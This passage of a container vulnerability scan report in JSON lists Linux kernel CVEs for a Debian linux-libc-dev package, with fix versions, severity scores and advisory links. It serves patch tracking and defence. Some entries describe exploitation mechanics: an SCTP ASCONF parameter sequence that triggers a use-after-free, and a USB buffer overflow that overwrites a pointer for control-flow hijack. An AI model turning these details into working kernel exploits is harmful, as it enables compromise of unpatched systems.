"https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64563" ], "PublishedDate": "2026-08-04T07:16:31.22Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64564", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64564", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:59ecca896e22889fd8a8c2e6ca97265724d30625ba9b14fb4c739ebd28c1b590", "Title": "kernel: sctp: don't free the ASCONF's own transport in DEL-IP processing", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: don't free the ASCONF's own transport in DEL-IP processing\n\nsctp_process_asconf() caches the transport the ASCONF chunk is processed\nagainst in asconf-\u003etransport (== chunk-\u003etransport, set once in sctp_rcv()).\nFor an ASCONF located through its Address Parameter by\n__sctp_rcv_asconf_lookup(), that cached transport corresponds to the\nAddress Parameter, which need not be the packet's source address.\n\nsctp_process_asconf_param() rejects a DEL-IP for the packet source address\n(ADDIP D8, SCTP_ERROR_DEL_SRC_IP), but nothing protects asconf-\u003etransport.\nA single ASCONF can therefore carry, in order:\n\n [Address Parameter L] [DEL-IP L] [DEL-IP 0.0.0.0]\n\nwhere L differs from the source. The DEL-IP for L passes the D8 check and\ncalls sctp_assoc_rm_peer() on the transport that asconf-\u003etransport still\npoints at, freeing it (RCU-deferred). The following wildcard DEL-IP then\nreuses the now-dangling asconf-\u003etransport in sctp_assoc_set_primary() and\nsctp_assoc_del_nonprimary_peers(): set_primary() dereferences the freed\ntransport (-\u003eipaddr, -\u003estate) and plants the dangling pointer into\nasoc-\u003epeer.primary_path / active_path, and del_nonprimary_peers(), keeping\nonly the pointer that is no longer on the list, removes every real\ntransport, leaving the association with a transport_count of 0 and\nprimary_path/active_path pointing at freed memory.\n\nReject a DEL-IP that targets the transport the ASCONF is being processed\nagainst, mirroring the existing source-address guard, so the wildcard\nbranch can never reuse a freed transport.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/08/06/13", "http://www.openwall.com/lists/oss-security/2026/08/06/3", "http://www.openwall.com/lists/oss-security/2026/08/06/4", "http://www.openwall.com/lists/oss-security/2026/08/07/1", "http://www.openwall.com/lists/oss-security/2026/08/07/2", "http://www.openwall.com/lists/oss-security/2026/08/07/8", "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-64564", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/9b2854f86f0b56e9027d68e7a3fc909d1a9b566f%20%287.2-rc5%29", "https://git.kernel.org/stable/c/2b324ba3494ae958cba16a453e3e71489b4de7fc", "https://git.kernel.org/stable/c/74e8f3e7114f0e26d1b2c4c048044db9fcc27603", "https://git.kernel.org/stable/c/85aca407c560aba81b5ce9d3d6cf94c74077d19b", "https://git.kernel.org/stable/c/9b2854f86f0b56e9027d68e7a3fc909d1a9b566f", "https://git.kernel.org/stable/c/a63afa1f9b12d5293cbe0b77fd45dc0632533a13", "https://git.kernel.org/stable/c/a9ce31be4cb1a5dd82b3e0a1d0c3e7cbdcd31293", "https://git.kernel.org/stable/c/d136b29bf91dd8e3161281b87de597b7311d9462", "https://git.kernel.org/stable/c/fedeb4468987bcaff85fe3061de5ae052d414740", "https://linux.oracle.com/cve/CVE-2026-64564.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://lore.kernel.org/linux-cve-announce/2026080404-CVE-2026-64564-6762@gregkh/T", "https://matrix.tencent.com/en/2026/08/06/sctphantom-CVE-2026-64564", "https://nvd.nist.gov/vuln/detail/CVE-2026-64564", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64564" ], "PublishedDate": "2026-08-04T07:16:31.34Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64565", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64565", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8ade8e42845caf1b230120bb379eddc5819f97dbd01824f59313901e057f5312", "Title": "kernel: Input: ims-pcu - fix heap-buffer-overflow in ims_pcu_process_data()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: ims-pcu - fix heap-buffer-overflow in ims_pcu_process_data()\n\nThe `ims_pcu_process_data()` processes incoming URB data byte by byte.\nHowever, it fails to check if the `read_pos` index exceeds\nIMS_PCU_BUF_SIZE.\n\nIf a malicious USB device sends a packet larger than IMS_PCU_BUF_SIZE,\n`read_pos` will increment indefinitely. Moreover, since `read_pos` is\nlocated immediately after `read_buf`, the attacker can overwrite\n`read_pos` itself to arbitrarily control the index.\n\nThis manipulated `read_pos` is subsequently used in\n`ims_pcu_handle_response()` to copy data into `cmd_buf`, leading to a\nheap buffer overflow.\n\nSpecifically, an attacker can overwrite the `cmd_done.wait.head` located\nat offset 136 relative to `cmd_buf` in the `ims_pcu_handle_response()`.\nConsequently, when the driver calls `complete(\u0026pcu-\u003ecmd_done)`, it\ntriggers a control flow hijack by using the manipulated pointer.\n\nFix this by adding a bounds check for `read_pos` before writing to\n`read_buf`. If the packet is too long, discard it, log a warning,\nand reset the parser state.\n\n[dtor: factor out resetting packet state, reset checksum as well]", "Severity": "HIGH", "VendorSeverity": { "azure": 4, "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64565", "https://git.kernel.org/linus/875115b82c295277b81b6dfee7debc725f44e854%20%287.1-rc1%29", "https://git.kernel.org/stable/c/06cfff93fd40441292567b999091beab11c74504", "https://git.kernel.org/stable/c/3a801bc75ba1d121d0ed60e7234f93ba5651d87d", "https://git.kernel.org/stable/c/40bbbf2e91fd60715525bf0405c67876af817edf", "https://git.kernel.org/stable/c/875115b82c295277b81b6dfee7debc725f44e854", "https://git.kernel.org/stable/c/992a7173364dcf63e30012af43da3c2f279839f9", "https://git.kernel.org/stable/c/ca9f8c09845fb8c51b6d447f6428eecd1b8b0a49", "https://git.kernel.org/stable/c/d03a740e087de7dcb2a26dc1123377bd3d1d84ca", "https://lore.kernel.org/linux-cve-announce/2026080404-CVE-2026-64565-557c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64565", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64565" ], "PublishedDate": "2026-08-04T07:16:31.477Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64582", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64582", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:862114793769fa2ff7b56ab4ea750fdef5136b73f5dacb4341dce1018a375104", "Title": "kernel: RDMA/rxe: Fix a use-after-free problem in rxe_mmap", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/rxe: Fix a use-after-free problem in rxe_mmap\n\nrxe_mmap() removes a rxe_mmap_info struct from the pending_mmaps list\nand releases pending_lock while the struct's kref is still at 1:\n\n list_del_init(\u0026ip-\u003epending_mmaps);\n spin_unlock_bh(\u0026rxe-\u003epending_lock); /* ref == 1, no lock held */\n ret = remap_vmalloc_range(vma, ip-\u003eobj, 0); /* walks PTEs */\n [...]\n rxe_vma_open(vma); /* kref_get, ref → 2 */\n remap_vmalloc_range_partial() walks PTEs without any lock.\n\nA concurrent DESTROY_CQ ioctl on another CPU calls:\n\n kref_put(\u0026q-\u003eip-\u003eref, rxe_mmap_release) /* ref 1→0 */\n vfree(ip-\u003eobj) /* clears vmalloc PTEs mid-walk */\n kfree(ip) /* frees rxe_mmap_info */\n\nThis yields:\n\n 1. Kernel crash, vmalloc_to_page() returns NULL when vfree wins the\n per-PTE race -\u003e vm_insert_page(NULL) → GPF in validate_page_before_insert\n\n 2. Page UAF, vmalloc_to_page() reads a stale PTE before vfree clears\n it. User VMA holds a PTE to a free'd page which might eventually get\n reallocated later by vmalloc which allows the attacker to get a clean\n page-level UAF.\n\n It is worth noting that even though a page-level UAF is possible given\n the strong primitive, it is statistically very difficult to achieve\n given the very short time window (after the last insert_page and before\n the kref_get).\n\nThe call trace are as below:\n\n Oops: general protection fault, probably for non-canonical address 0xdffffc0000000001: 0000 [#1] SMP KASAN NOPTI\n KASAN: null-ptr-deref in range [0x0000000000000008-0x000000000000000f]\n CPU: 0 UID: 1000 PID: 413 Comm: poc Not tainted 7.0.0-rc5-dirty #28 PREEMPT(lazy)\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\n RIP: 0010:validate_page_before_insert+0x32/0x300\n Code: e5 41 57 41 56 49 89 fe 41 55 41 54 53 48 89 f3 e8 93 b5 a3 ff 48 8d 7b 08 48 b8 00 00 00 00 00 fc ff df 48 89 fa 48 c1 ea 03 \u003c80\u003e 3c 02 00 0f 85 7b 02 00 00 4c 8b 63 08 31 ff 4d 89 e5 41 83 e5\n RSP: 0018:ffff88811b15f2f0 EFLAGS: 00000202\n RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000000\n RDX: 0000000000000001 RSI: 0000000000000000 RDI: 0000000000000008\n RBP: ffff88811b15f318 R08: 0000000000000000 R09: 0000000000000000\n R10: 0000000000000000 R11: 0000000000000000 R12: ffff8881181eee00\n R13: 0000000000000000 R14: ffff8881181eee00 R15: ffff8881181eee20\n FS: 00007b1e000f76c0(0000) GS:ffff8884268e0000(0000) knlGS:0000000000000000\n CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 00007b1e00a24ac0 CR3: 0000000116eb3000 CR4: 00000000000006f0\n Call Trace:\n \u003cTASK\u003e\n insert_page+0x8f/0x190\n ? __pfx_insert_page+0x10/0x10\n ? kasan_save_alloc_info+0x38/0x60\n vm_insert_page+0x2e7/0x400\n remap_vmalloc_range_partial+0x212/0x3e0\n remap_vmalloc_range+0x6e/0xb0\n ? __kasan_check_write+0x14/0x30\n rxe_mmap+0x2e9/0x5d0\n ib_uverbs_mmap+0x1ad/0x2c0\n __mmap_region+0x12c2/0x2ad0\n ? __pfx___mmap_region+0x10/0x10\n ? __sanitizer_cov_trace_switch+0x58/0xb0\n ? mas_prev_slot+0x360/0x39c0\n ? __sanitizer_cov_trace_switch+0x58/0xb0\n ? mas_next_slot+0x1e5b/0x2f40\n ? __sanitizer_cov_trace_cmp8+0x18/0x30\n ? unmapped_area_topdown+0x4dd/0x610\n ? kfree+0x1b1/0x440\n ? free_cpumask_var+0x16/0x30\n ? __kasan_slab_free+0x7d/0xa0\n ? __sanitizer_cov_trace_cmp8+0x18/0x30\n mmap_region+0x2e6/0x3c0\n do_mmap+0xa3e/0x12a0\n ? __pfx_do_mmap+0x10/0x10\n ? __kasan_check_write+0x14/0x30\n ? down_write_killable+0xba/0x160\n ? __pfx_down_write_killable+0x10/0x10\n ? __sanitizer_cov_trace_cmp4+0x16/0x30\n vm_mmap_pgoff+0x2d4/0x4a0\n ? __pfx_vm_mmap_pgoff+0x10/0x10\n ? fget+0x1bf/0x270\n ksys_mmap_pgoff+0x40c/0x690\n ? __sanitizer_cov_trace_const_cmp4+0x16/0x30\n ? __pfx_ksys_mmap_pgoff+0x10/0x10\n ? __kasan_check_write+0x14/0x30\n ? _raw_spin_trylock+0xbb/0x130\n ? __pfx__raw_spin_trylock+0x10/0x10\n __x64_sys_mmap+0x135/0x1e0\n x64_sys_c\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-64582", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/linus/35744ab3d03c5fca8c1752f53fc8fc674e14c561%20%287.2-rc1%29", "https://git.kernel.org/stable/c/3371f2036e0f970166bbb624e25bba46d32fa18e", "https://git.kernel.org/stable/c/3525987a392536f31a484833af258971af63b24c", "https://git.kernel.org/stable/c/35744ab3d03c5fca8c1752f53fc8fc674e14c561", "https://git.kernel.org/stable/c/665fb7d22a700c66a78db0cf88c6e6a649aba9d0", "https://git.kernel.org/stable/c/aef5ea8578f97f2701039600846a8bcf5f21e863", "https://git.kernel.org/stable/c/b810352d0916796dabe633cdb9adee9863ab4911", "https://git.kernel.org/stable/c/e038d42cc09ca1da9d3568ce8ae062b2bfb3bc0e", "https://git.kernel.org/stable/c/e59a6aa89e0fcd1d0707832eb4654fd9ae7d31e6", "https://linux.oracle.com/cve/CVE-2026-64582.html", "https://linux.oracle.com/errata/ELSA-2026-70402.html", "https://lore.kernel.org/linux-cve-announce/2026080518-CVE-2026-64582-9922@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64582", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64582" ], "PublishedDate": "2026-08-05T12:18:57.44Z", "LastModifiedDate": "2026-10-19T21:17:48.543Z" }, { "VulnerabilityID": "CVE-2026-64600", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64600", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bf0e4075e22194b820821d385f713c16896f36984a84e043580b78d811821f92", "Title": "kernel: XFS data corruption using reflink", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: resample the data fork mapping after cycling ILOCK\n\nxfs_reflink_fill_{cow_hole,delalloc} are both presented with an inode,\na data fork mapping, and a cow fork mapping. Unfortunately, these two\nhelpers cycle the ILOCK to grab a transaction, which means that the\nmappings are stale as soon as we reacquire the ILOCK. Currently we\nrefresh the cow fork mapping by re-calling xfs_find_trim_cow_extent, but\nwe don't refresh the data fork mapping beforehand, which means that the\nxfs_bmap_trim_cow in that function queries the refcount btree about the\nwrong physical blocks and returns an inaccurate value in *shared.\n\nIf *shared is now false, the directio write proceeds with a stale data\nfork mapping. Fix this by querying the data fork mapping if the\nsequence counter changes across the ILOCK cycle.", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64600", "http://www.openwall.com/lists/oss-security/2026/07/22/14", "http://www.openwall.com/lists/oss-security/2026/07/22/18", "http://www.openwall.com/lists/oss-security/2026/07/22/19", "http://www.openwall.com/lists/oss-security/2026/07/31/3", "http://www.openwall.com/lists/oss-security/2026/08/03/4", "http://www.openwall.com/lists/oss-security/2026/08/03/8", "https://access.redhat.com/errata/RHSA-2026:39179", "https://access.redhat.com/errata/RHSA-2026:39180", "https://access.redhat.com/security/cve/CVE-2026-64600", "https://bugzilla.redhat.com/2481989", "https://bugzilla.redhat.com/2482523", "https://bugzilla.redhat.com/2498915", "https://bugzilla.redhat.com/show_bug.cgi?id=2481989", "https://bugzilla.redhat.com/show_bug.cgi?id=2482523", "https://bugzilla.redhat.com/show_bug.cgi?id=2498915", "https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64600", "https://errata.almalinux.org/8/ALSA-2026-39180.html", "https://errata.rockylinux.org/RLSA-2026:39179", "https://git.kernel.org/linus/2f4acd0fcd862e22eab45690ec2c08c80b6ef2e7%20%287.2-rc4%29", 